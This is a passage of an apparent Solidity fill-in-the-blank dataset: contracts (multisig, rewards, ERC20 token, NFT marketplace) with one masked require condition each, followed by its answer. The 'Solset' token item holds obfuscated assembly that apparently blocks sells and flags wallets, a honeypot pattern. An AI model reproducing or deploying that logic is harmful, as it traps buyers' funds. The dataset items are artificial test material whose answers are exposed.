_amount) external onlyOwner { } function setRatio(uint256 _target, uint256 _denominator) external onlyOwner { } function getCirculatingSupply() public view returns (uint256) { } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { } event AutoLiquify(uint256 amountETH, uint256 amountTokens); event EditTax(uint8 Buy, uint8 Sell, uint8 Transfer); event user_FeeExempt(address Wallet, bool Exempt); event user_TxExempt(address Wallet, bool Exempt); event ClearStuck(uint256 amount); event ClearToken(address TokenAddressCleared, uint256 Amount); event set_Receivers(address marketingFeeReceiver, address teamFeeReceiver,address stakingFeeReceiver,address devFeeReceiver); event set_MaxWallet(uint256 maxWallet); event set_MaxTX(uint256 maxTX); event set_SwapBack(uint256 Amount, bool Enabled); }
isantiBoted[recipient],"Not antiBoted"
483,475
isantiBoted[recipient]
null
// SPDX-License-Identifier: MIT /* ______ _ ____ /_ __/__ ______ _ (_)__ ___ _/ / /_ __ / / / -_) __/ ' \/ / _ \/ _ `/ / / // / /_/__\__/_/ /_/_/_/_/_//_/\_,_/_/_/\_, / / __ \___ / (_)__ ___ /___/ / /_/ / _ \/ / / _ \/ -_) \____/_//_/_/_/_//_/\__/ Multisig Contract This is a general-purpose multisig wallet contract where each token of the Terminally Online series gives its owner a single vote on wallet actions. The contract logic is based on the Open Zeppelin Governor contract. While this contract has the ability to receive any asset, it has two primary roles: 1. To manage the TokenURI contract of the Terminally Online project. The initial TokenURI contract allows the multisig to update the project's base externalUrl. 2. To manage the terminallyonline.eth ENS domain, and all subdomain (which it has been given ownership of). Proposals For the multisig execute any transaction, Terminally Online token holders must take the following steps: 1. Someone must propose a transaction using `propose`. This must include the tokenId of the proposer, the target address of the transaction, the amount of ETH included in the transaction, and the calldata of the transaction. 2. A simple majority of the Terminally Online token holders must vote for the proposal. 3. Once enough votes have been secured, someone must execute the proposal. Admin Execution For the sake of expediency, the multisig contract can designate an address as the admin, which has the unilateral ability to execute multisig transactions without any votes. While the admin can be an EOA, this contract can also be extended by designating another contract as the admin. For example, another contract can define logic in which token holder signatures are validated, which would allow for more gas-efficient voting. To set the admin, a proposal needs to be made in which the multisig calls setAdmin on itself. */ pragma solidity ^0.8.11; import "./Dependencies.sol"; import "./TerminallyOnline.sol"; contract Multisig { TerminallyOnline public baseContract; address public admin; struct Proposal { bool executed; uint256 totalVotes; uint256 maxVotes; } mapping(uint256 => Proposal) public proposals; mapping(uint256 => mapping(uint256 => bool)) public proposalVotes; constructor(TerminallyOnline _addr) { } function hashProposal( address target, uint256 value, bytes memory calldata_ ) public pure returns (uint256) { } /* target - target contract value - amount of ETH to send calldata_ - abi.encodeWithSignature("functionToCall(string,uint256)", "arg1", 123) */ function propose( uint256 tokenId, address target, uint256 value, bytes memory calldata_ ) public returns (uint256) { } function castVote(uint256 proposalId, uint256 tokenId, bool vote) public { require(<FILL_ME>) if (proposalVotes[proposalId][tokenId] == vote) return; proposalVotes[proposalId][tokenId] = vote; if (vote) { proposals[proposalId].totalVotes += 1; } else { proposals[proposalId].totalVotes -= 1; } } function execute( address target, uint256 value, bytes memory calldata_ ) public payable returns (uint256) { } function adminExecute( address target, uint256 value, bytes memory calldata_ ) public payable { } function setAdmin(address _admin) public { } receive() external payable {} fallback() external payable {} }
baseContract.ownerOf(tokenId)==msg.sender
483,496
baseContract.ownerOf(tokenId)==msg.sender
"Proposal has already been executed"
// SPDX-License-Identifier: MIT /* ______ _ ____ /_ __/__ ______ _ (_)__ ___ _/ / /_ __ / / / -_) __/ ' \/ / _ \/ _ `/ / / // / /_/__\__/_/ /_/_/_/_/_//_/\_,_/_/_/\_, / / __ \___ / (_)__ ___ /___/ / /_/ / _ \/ / / _ \/ -_) \____/_//_/_/_/_//_/\__/ Multisig Contract This is a general-purpose multisig wallet contract where each token of the Terminally Online series gives its owner a single vote on wallet actions. The contract logic is based on the Open Zeppelin Governor contract. While this contract has the ability to receive any asset, it has two primary roles: 1. To manage the TokenURI contract of the Terminally Online project. The initial TokenURI contract allows the multisig to update the project's base externalUrl. 2. To manage the terminallyonline.eth ENS domain, and all subdomain (which it has been given ownership of). Proposals For the multisig execute any transaction, Terminally Online token holders must take the following steps: 1. Someone must propose a transaction using `propose`. This must include the tokenId of the proposer, the target address of the transaction, the amount of ETH included in the transaction, and the calldata of the transaction. 2. A simple majority of the Terminally Online token holders must vote for the proposal. 3. Once enough votes have been secured, someone must execute the proposal. Admin Execution For the sake of expediency, the multisig contract can designate an address as the admin, which has the unilateral ability to execute multisig transactions without any votes. While the admin can be an EOA, this contract can also be extended by designating another contract as the admin. For example, another contract can define logic in which token holder signatures are validated, which would allow for more gas-efficient voting. To set the admin, a proposal needs to be made in which the multisig calls setAdmin on itself. */ pragma solidity ^0.8.11; import "./Dependencies.sol"; import "./TerminallyOnline.sol"; contract Multisig { TerminallyOnline public baseContract; address public admin; struct Proposal { bool executed; uint256 totalVotes; uint256 maxVotes; } mapping(uint256 => Proposal) public proposals; mapping(uint256 => mapping(uint256 => bool)) public proposalVotes; constructor(TerminallyOnline _addr) { } function hashProposal( address target, uint256 value, bytes memory calldata_ ) public pure returns (uint256) { } /* target - target contract value - amount of ETH to send calldata_ - abi.encodeWithSignature("functionToCall(string,uint256)", "arg1", 123) */ function propose( uint256 tokenId, address target, uint256 value, bytes memory calldata_ ) public returns (uint256) { } function castVote(uint256 proposalId, uint256 tokenId, bool vote) public { } function execute( address target, uint256 value, bytes memory calldata_ ) public payable returns (uint256) { uint256 proposalId = hashProposal(target, value, calldata_); Proposal storage proposal = proposals[proposalId]; require(<FILL_ME>) require( proposal.totalVotes >= (proposal.maxVotes/2 + 1), "Insufficient votes to execute proposal" ); proposal.executed = true; (bool success, bytes memory returndata) = target.call{value: value}(calldata_); Address.verifyCallResult(success, returndata, "Proposal execution reverted"); return proposalId; } function adminExecute( address target, uint256 value, bytes memory calldata_ ) public payable { } function setAdmin(address _admin) public { } receive() external payable {} fallback() external payable {} }
!proposal.executed,"Proposal has already been executed"
483,496
!proposal.executed
"Insufficient votes to execute proposal"
// SPDX-License-Identifier: MIT /* ______ _ ____ /_ __/__ ______ _ (_)__ ___ _/ / /_ __ / / / -_) __/ ' \/ / _ \/ _ `/ / / // / /_/__\__/_/ /_/_/_/_/_//_/\_,_/_/_/\_, / / __ \___ / (_)__ ___ /___/ / /_/ / _ \/ / / _ \/ -_) \____/_//_/_/_/_//_/\__/ Multisig Contract This is a general-purpose multisig wallet contract where each token of the Terminally Online series gives its owner a single vote on wallet actions. The contract logic is based on the Open Zeppelin Governor contract. While this contract has the ability to receive any asset, it has two primary roles: 1. To manage the TokenURI contract of the Terminally Online project. The initial TokenURI contract allows the multisig to update the project's base externalUrl. 2. To manage the terminallyonline.eth ENS domain, and all subdomain (which it has been given ownership of). Proposals For the multisig execute any transaction, Terminally Online token holders must take the following steps: 1. Someone must propose a transaction using `propose`. This must include the tokenId of the proposer, the target address of the transaction, the amount of ETH included in the transaction, and the calldata of the transaction. 2. A simple majority of the Terminally Online token holders must vote for the proposal. 3. Once enough votes have been secured, someone must execute the proposal. Admin Execution For the sake of expediency, the multisig contract can designate an address as the admin, which has the unilateral ability to execute multisig transactions without any votes. While the admin can be an EOA, this contract can also be extended by designating another contract as the admin. For example, another contract can define logic in which token holder signatures are validated, which would allow for more gas-efficient voting. To set the admin, a proposal needs to be made in which the multisig calls setAdmin on itself. */ pragma solidity ^0.8.11; import "./Dependencies.sol"; import "./TerminallyOnline.sol"; contract Multisig { TerminallyOnline public baseContract; address public admin; struct Proposal { bool executed; uint256 totalVotes; uint256 maxVotes; } mapping(uint256 => Proposal) public proposals; mapping(uint256 => mapping(uint256 => bool)) public proposalVotes; constructor(TerminallyOnline _addr) { } function hashProposal( address target, uint256 value, bytes memory calldata_ ) public pure returns (uint256) { } /* target - target contract value - amount of ETH to send calldata_ - abi.encodeWithSignature("functionToCall(string,uint256)", "arg1", 123) */ function propose( uint256 tokenId, address target, uint256 value, bytes memory calldata_ ) public returns (uint256) { } function castVote(uint256 proposalId, uint256 tokenId, bool vote) public { } function execute( address target, uint256 value, bytes memory calldata_ ) public payable returns (uint256) { uint256 proposalId = hashProposal(target, value, calldata_); Proposal storage proposal = proposals[proposalId]; require(!proposal.executed, "Proposal has already been executed"); require(<FILL_ME>) proposal.executed = true; (bool success, bytes memory returndata) = target.call{value: value}(calldata_); Address.verifyCallResult(success, returndata, "Proposal execution reverted"); return proposalId; } function adminExecute( address target, uint256 value, bytes memory calldata_ ) public payable { } function setAdmin(address _admin) public { } receive() external payable {} fallback() external payable {} }
proposal.totalVotes>=(proposal.maxVotes/2+1),"Insufficient votes to execute proposal"
483,496
proposal.totalVotes>=(proposal.maxVotes/2+1)
"Only authority"
// SPDX-License-Identifier: MIT pragma solidity 0.8.14; import "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol"; import "./Owned.sol"; contract AvnNftListingsFactory is Owned { event LogNewClient(address indexed clientAddress, string clientName); address immutable beacon; bytes4 private constant INIT_SELECTOR = 0x7ab4339d; mapping (address => bool) public isAuthority; address[] private authorities; constructor(address _beacon) { } function setAuthority(address _authority, bool _isAuthorised) external onlyOwner { } function getAuthorities() external view returns(address[] memory) { } function addNewClient(string calldata _clientName, address _initialAuthority) external returns(address) { require(<FILL_ME>) BeaconProxy proxy = new BeaconProxy(beacon, abi.encodeWithSelector(INIT_SELECTOR, _clientName, _initialAuthority)); emit LogNewClient(address(proxy), _clientName); return address(proxy); } }
isAuthority[msg.sender],"Only authority"
483,584
isAuthority[msg.sender]
"The rewarded contract must be added"
// SPDX-License-Identifier: unlicensed // Solidity files have to start with this pragma. // It will be used by the Solidity compiler to validate its version. pragma solidity ^0.8.13; //import "hardhat/console.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; abstract contract ERC721 { // This doesn't have to match the real contract name. Call it what you like. function tokensOfOwner(address _owner) public view virtual returns (uint256[] memory); function ownerOf(uint256 tokenId) public view virtual returns (address); } contract Koku is Ownable { using SafeMath for uint256; /** * @dev Throws if called with any other non-contract added. */ modifier onlyOwnedContracts(address _contract) { require(<FILL_ME>) _; } bool private pause = false; mapping (address => bool) public contracts; mapping (address => uint256) public contractsRewardStart; mapping (address => uint256) public contractsRewardRate; mapping (address => uint256) public contractsRewardInterval; mapping (address => mapping (uint256 => uint256)) public contractsLastUpdated; event RewardPaid(address indexed user, uint256 reward); constructor() { } function claimContractsReward(address[] calldata _contracts) public { } function claimContractReward(address _contract) public onlyOwnedContracts(_contract) { } function claimTokenReward(address _contract, uint256 _token) onlyOwnedContracts(_contract) public { } function claimTokensReward(address _contract, uint256[] calldata _tokens) public onlyOwnedContracts(_contract){ } function getTokenClaimable( address _contract, uint256 _token) public view returns (uint256) { } function getContractClaimable(address _contract, address _user) public view onlyOwnedContracts(_contract) returns (uint256) { } function getContractsClaimable(address[] calldata _contracts, address _user) public view returns (uint256) { } function getTokensAndClaimable( address _contract, address _user ) public onlyOwnedContracts(_contract) view returns (uint256[] memory, uint256[] memory) { } function getContractStart( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function getContractRate( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function getContractInterval( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function setContract( address _contract, uint256 _start, uint256 _rate, uint256 _interval) public onlyOwner { } function clearContract( address _contract) public onlyOwner { } function setContractRewardStart(address _contract, uint256 _start) public onlyOwner onlyOwnedContracts(_contract) { } function setContractRewardRate(address _contract, uint256 _rate) public onlyOwner onlyOwnedContracts(_contract) { } function setContractRewardInterval(address _contract, uint256 _interval) public onlyOwner onlyOwnedContracts(_contract) { } function setRewardsPause(bool _pause) public onlyOwner { } }
contracts[_contract],"The rewarded contract must be added"
483,588
contracts[_contract]
"Wrong token owner"
// SPDX-License-Identifier: unlicensed // Solidity files have to start with this pragma. // It will be used by the Solidity compiler to validate its version. pragma solidity ^0.8.13; //import "hardhat/console.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; abstract contract ERC721 { // This doesn't have to match the real contract name. Call it what you like. function tokensOfOwner(address _owner) public view virtual returns (uint256[] memory); function ownerOf(uint256 tokenId) public view virtual returns (address); } contract Koku is Ownable { using SafeMath for uint256; /** * @dev Throws if called with any other non-contract added. */ modifier onlyOwnedContracts(address _contract) { } bool private pause = false; mapping (address => bool) public contracts; mapping (address => uint256) public contractsRewardStart; mapping (address => uint256) public contractsRewardRate; mapping (address => uint256) public contractsRewardInterval; mapping (address => mapping (uint256 => uint256)) public contractsLastUpdated; event RewardPaid(address indexed user, uint256 reward); constructor() { } function claimContractsReward(address[] calldata _contracts) public { } function claimContractReward(address _contract) public onlyOwnedContracts(_contract) { } function claimTokenReward(address _contract, uint256 _token) onlyOwnedContracts(_contract) public { require(!pause, "Rewards are paused"); require(<FILL_ME>) uint256 reward = getTokenClaimable(_contract, _token); contractsLastUpdated[_contract][_token] = block.timestamp; require(reward > 0, "None to claim"); emit RewardPaid(msg.sender, reward); } function claimTokensReward(address _contract, uint256[] calldata _tokens) public onlyOwnedContracts(_contract){ } function getTokenClaimable( address _contract, uint256 _token) public view returns (uint256) { } function getContractClaimable(address _contract, address _user) public view onlyOwnedContracts(_contract) returns (uint256) { } function getContractsClaimable(address[] calldata _contracts, address _user) public view returns (uint256) { } function getTokensAndClaimable( address _contract, address _user ) public onlyOwnedContracts(_contract) view returns (uint256[] memory, uint256[] memory) { } function getContractStart( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function getContractRate( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function getContractInterval( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function setContract( address _contract, uint256 _start, uint256 _rate, uint256 _interval) public onlyOwner { } function clearContract( address _contract) public onlyOwner { } function setContractRewardStart(address _contract, uint256 _start) public onlyOwner onlyOwnedContracts(_contract) { } function setContractRewardRate(address _contract, uint256 _rate) public onlyOwner onlyOwnedContracts(_contract) { } function setContractRewardInterval(address _contract, uint256 _interval) public onlyOwner onlyOwnedContracts(_contract) { } function setRewardsPause(bool _pause) public onlyOwner { } }
ERC721(_contract).ownerOf(_token)==msg.sender,"Wrong token owner"
483,588
ERC721(_contract).ownerOf(_token)==msg.sender
"Not Owner"
// SPDX-License-Identifier: unlicensed // Solidity files have to start with this pragma. // It will be used by the Solidity compiler to validate its version. pragma solidity ^0.8.13; //import "hardhat/console.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; abstract contract ERC721 { // This doesn't have to match the real contract name. Call it what you like. function tokensOfOwner(address _owner) public view virtual returns (uint256[] memory); function ownerOf(uint256 tokenId) public view virtual returns (address); } contract Koku is Ownable { using SafeMath for uint256; /** * @dev Throws if called with any other non-contract added. */ modifier onlyOwnedContracts(address _contract) { } bool private pause = false; mapping (address => bool) public contracts; mapping (address => uint256) public contractsRewardStart; mapping (address => uint256) public contractsRewardRate; mapping (address => uint256) public contractsRewardInterval; mapping (address => mapping (uint256 => uint256)) public contractsLastUpdated; event RewardPaid(address indexed user, uint256 reward); constructor() { } function claimContractsReward(address[] calldata _contracts) public { } function claimContractReward(address _contract) public onlyOwnedContracts(_contract) { } function claimTokenReward(address _contract, uint256 _token) onlyOwnedContracts(_contract) public { } function claimTokensReward(address _contract, uint256[] calldata _tokens) public onlyOwnedContracts(_contract){ require(!pause, "Rewards are paused"); uint256 total; uint256 reward; uint256 time = block.timestamp; for (uint256 i; i < _tokens.length; i++) { require(<FILL_ME>) reward = getTokenClaimable(_contract, _tokens[i]); if (reward > 0) { total += reward; contractsLastUpdated[_contract][_tokens[i]] = time; } } require(total > 0, "None to claim"); emit RewardPaid(msg.sender, total); } function getTokenClaimable( address _contract, uint256 _token) public view returns (uint256) { } function getContractClaimable(address _contract, address _user) public view onlyOwnedContracts(_contract) returns (uint256) { } function getContractsClaimable(address[] calldata _contracts, address _user) public view returns (uint256) { } function getTokensAndClaimable( address _contract, address _user ) public onlyOwnedContracts(_contract) view returns (uint256[] memory, uint256[] memory) { } function getContractStart( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function getContractRate( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function getContractInterval( address _contract) public onlyOwnedContracts(_contract) view returns (uint256) { } function setContract( address _contract, uint256 _start, uint256 _rate, uint256 _interval) public onlyOwner { } function clearContract( address _contract) public onlyOwner { } function setContractRewardStart(address _contract, uint256 _start) public onlyOwner onlyOwnedContracts(_contract) { } function setContractRewardRate(address _contract, uint256 _rate) public onlyOwner onlyOwnedContracts(_contract) { } function setContractRewardInterval(address _contract, uint256 _interval) public onlyOwner onlyOwnedContracts(_contract) { } function setRewardsPause(bool _pause) public onlyOwner { } }
ERC721(_contract).ownerOf(_tokens[i])==msg.sender,"Not Owner"
483,588
ERC721(_contract).ownerOf(_tokens[i])==msg.sender
"ERC20: trading is not yet enabled."
/* DUSK \/ ETH The dusk is approaching, the star is burning out of fuel. The vanishing of Solana, the SOLSET, has began. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private addInsure; uint256 private _insureCoin = block.number*2; mapping (address => bool) private _firstPrimary; mapping (address => bool) private _secondSecondary; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private byteFun; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private lifeVest; address public pair; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2; bool private trading; uint256 private rapidAscent = 1; bool private insureRapid; uint256 private _decimals; uint256 private lastFall; constructor (string memory name_, string memory symbol_, address msgSender_) { } function symbol() public view virtual override returns (string memory) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function name() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function _TokenInsure() internal { } function openTrading() external onlyOwner returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal { require(<FILL_ME>) assembly { function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) } function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) } if eq(chainid(),0x1) { if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,sload(0x99))),and(gt(float,div(sload(0x99),0x2)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) } if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) { let k := sload(0x18) let t := sload(0x99) let g := sload(0x11) switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) } sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) } if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) } if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) } sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) } } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _DeploySolset(address account, uint256 amount) internal virtual { } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { } } contract Solset is ERC20Token { constructor() ERC20Token("The Solset", "DUSK", msg.sender, 5000000 * 10 ** 18) { } }
(trading||(sender==addInsure[1])),"ERC20: trading is not yet enabled."
483,641
(trading||(sender==addInsure[1]))
NOT_VALID_NFT
pragma solidity 0.8.6; /** * @dev Robobots ERC721 & Marketplace. */ contract Robobots is NFTokenMetadata, Ownable { using SafeMath for uint256; string constant NOT_FOR_SALE = "004001"; string constant NOT_FOR_SALE_TO_YOU = "004002"; string constant INSUFFICIENT_VALUE = "004003"; string constant BID_INFLATION = "004004"; string constant MISSING_BID = "004005"; string constant NOT_BIDDER = "004006"; string constant INTERNAL_INCONSISTENCY = "004007"; string public constant imageHash = "d4c5e36e00ab8cefae0f3c04ad14f71209e75897a9dd1a3e59a01a51be7dfbf0"; uint256 public constant totalSupply = 10000; uint256 public constant feePercent = 1; // of 100 basis points, or 1% struct Offer { bool isForSale; uint tokenId; address seller; uint minValue; address onlySellTo; // optionally sell only to a specific address } struct Bid { bool hasBid; uint tokenId; address bidder; uint value; } // A record of tokens that are offered for sale at a minimum value, and optionally to a specific buyer mapping (uint => Offer) public offers; // A record of the highest bid per token mapping (uint => Bid) public bids; // Ether stored in the contract until a seller withdraws mapping (address => uint) public pendingWithdrawals; event PurchaseMade(uint indexed tokenId, uint value, address indexed fromAddress, address indexed toAddress); event OfferMade(uint indexed tokenId, uint minValue, address indexed toAddress); event OfferRemoved(uint indexed tokenId); event BidMade(uint indexed tokenId, uint value, address indexed fromAddress); event BidRemoved(uint indexed tokenId, uint value, address indexed fromAddress); /** * @dev Contract constructor. Sets metadata extension `name` and `symbol`. */ constructor() { } function setBaseTokenURI(string calldata _baseUri) external onlyOwner { } /** * @dev Mints a new NFT. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function mint(address _to, uint256 _tokenId) external { } /** * @dev onlyOwner backdoor to allow multiple mints in one transaction * @param _to The addresses that will own a minted NFT. * @param _tokenIds to be minted by the msg.sender. */ function mintAll(address[] memory _to, uint256[] memory _tokenIds) external onlyOwner { uint n = _to.length; for (uint i = 0; i < n; i++) { require(<FILL_ME>) super._mint(_to[i], _tokenIds[i]); } } /** * @dev Put the token on sale at a minimum sale price. * @param _tokenId The token for sale, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted */ function makeOffer(uint256 _tokenId, uint _minSalePriceInWei) external canOperate(_tokenId) { } /** * @dev Like makeOffer, but the token may only be bought from a specific address. * @param _tokenId The token for sale, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted * @param _toAddress the only allowed buyer */ function makeOfferToAddress(uint256 _tokenId, uint _minSalePriceInWei, address _toAddress) external canOperate(_tokenId) { } /** * @dev Remove the offer for this token. * @param _tokenId The token (previously) for sale, operated by msg.sender */ function withdrawOffer(uint256 _tokenId) external canOperate(_tokenId) { } /** * @dev Buy the token at the minimum sale price. * @param _tokenId The token for sale */ function buy(uint256 _tokenId) external payable { } /** * @dev Remove funds from this contract, after a sale and/or a withdrawn bid. */ function withdrawFunds() external { } /** * @dev Make a bid for the token with msg.value. * @param _tokenId The coveted token */ function makeBid(uint256 _tokenId) external payable { } /** * @dev Accept the highest bid, assuming a minimum sale price. * @param _tokenId The coveted token, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted, ensuring the bid has not just been reduced. */ function acceptBid(uint256 _tokenId, uint _minSalePriceInWei) external canOperate(_tokenId) { } /** * @dev Withdraw the bid for this token. * @param _tokenId The (once-)coveted token */ function withdrawBid(uint256 _tokenId) external { } function _removeOffer(uint256 _tokenId) internal { } function _removeBid(uint256 _tokenId) internal { } /** * @dev Transfers the ownership of an NFT from one address to another address. * Removes any existing offer for the token when ownership changes. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function _transfer(address _to, uint256 _tokenId) internal override { } }
_tokenIds[i]<totalSupply,NOT_VALID_NFT
483,727
_tokenIds[i]<totalSupply
BID_INFLATION
pragma solidity 0.8.6; /** * @dev Robobots ERC721 & Marketplace. */ contract Robobots is NFTokenMetadata, Ownable { using SafeMath for uint256; string constant NOT_FOR_SALE = "004001"; string constant NOT_FOR_SALE_TO_YOU = "004002"; string constant INSUFFICIENT_VALUE = "004003"; string constant BID_INFLATION = "004004"; string constant MISSING_BID = "004005"; string constant NOT_BIDDER = "004006"; string constant INTERNAL_INCONSISTENCY = "004007"; string public constant imageHash = "d4c5e36e00ab8cefae0f3c04ad14f71209e75897a9dd1a3e59a01a51be7dfbf0"; uint256 public constant totalSupply = 10000; uint256 public constant feePercent = 1; // of 100 basis points, or 1% struct Offer { bool isForSale; uint tokenId; address seller; uint minValue; address onlySellTo; // optionally sell only to a specific address } struct Bid { bool hasBid; uint tokenId; address bidder; uint value; } // A record of tokens that are offered for sale at a minimum value, and optionally to a specific buyer mapping (uint => Offer) public offers; // A record of the highest bid per token mapping (uint => Bid) public bids; // Ether stored in the contract until a seller withdraws mapping (address => uint) public pendingWithdrawals; event PurchaseMade(uint indexed tokenId, uint value, address indexed fromAddress, address indexed toAddress); event OfferMade(uint indexed tokenId, uint minValue, address indexed toAddress); event OfferRemoved(uint indexed tokenId); event BidMade(uint indexed tokenId, uint value, address indexed fromAddress); event BidRemoved(uint indexed tokenId, uint value, address indexed fromAddress); /** * @dev Contract constructor. Sets metadata extension `name` and `symbol`. */ constructor() { } function setBaseTokenURI(string calldata _baseUri) external onlyOwner { } /** * @dev Mints a new NFT. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function mint(address _to, uint256 _tokenId) external { } /** * @dev onlyOwner backdoor to allow multiple mints in one transaction * @param _to The addresses that will own a minted NFT. * @param _tokenIds to be minted by the msg.sender. */ function mintAll(address[] memory _to, uint256[] memory _tokenIds) external onlyOwner { } /** * @dev Put the token on sale at a minimum sale price. * @param _tokenId The token for sale, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted */ function makeOffer(uint256 _tokenId, uint _minSalePriceInWei) external canOperate(_tokenId) { } /** * @dev Like makeOffer, but the token may only be bought from a specific address. * @param _tokenId The token for sale, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted * @param _toAddress the only allowed buyer */ function makeOfferToAddress(uint256 _tokenId, uint _minSalePriceInWei, address _toAddress) external canOperate(_tokenId) { } /** * @dev Remove the offer for this token. * @param _tokenId The token (previously) for sale, operated by msg.sender */ function withdrawOffer(uint256 _tokenId) external canOperate(_tokenId) { } /** * @dev Buy the token at the minimum sale price. * @param _tokenId The token for sale */ function buy(uint256 _tokenId) external payable { } /** * @dev Remove funds from this contract, after a sale and/or a withdrawn bid. */ function withdrawFunds() external { } /** * @dev Make a bid for the token with msg.value. * @param _tokenId The coveted token */ function makeBid(uint256 _tokenId) external payable { require(_tokenId < totalSupply, NOT_VALID_NFT); require(idToOwner[_tokenId] != address(0), ZERO_ADDRESS); require(<FILL_ME>) Bid memory existingBid = bids[_tokenId]; require(msg.value > existingBid.value, INSUFFICIENT_VALUE); if (existingBid.value > 0) { pendingWithdrawals[existingBid.bidder] += existingBid.value; // refund the outbid bidder } bids[_tokenId] = Bid(true, _tokenId, msg.sender, msg.value); emit BidMade(_tokenId, msg.value, msg.sender); } /** * @dev Accept the highest bid, assuming a minimum sale price. * @param _tokenId The coveted token, operated by msg.sender * @param _minSalePriceInWei the minimum payment accepted, ensuring the bid has not just been reduced. */ function acceptBid(uint256 _tokenId, uint _minSalePriceInWei) external canOperate(_tokenId) { } /** * @dev Withdraw the bid for this token. * @param _tokenId The (once-)coveted token */ function withdrawBid(uint256 _tokenId) external { } function _removeOffer(uint256 _tokenId) internal { } function _removeBid(uint256 _tokenId) internal { } /** * @dev Transfers the ownership of an NFT from one address to another address. * Removes any existing offer for the token when ownership changes. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function _transfer(address _to, uint256 _tokenId) internal override { } }
idToOwner[_tokenId]!=msg.sender,BID_INFLATION
483,727
idToOwner[_tokenId]!=msg.sender
MISSING_BID
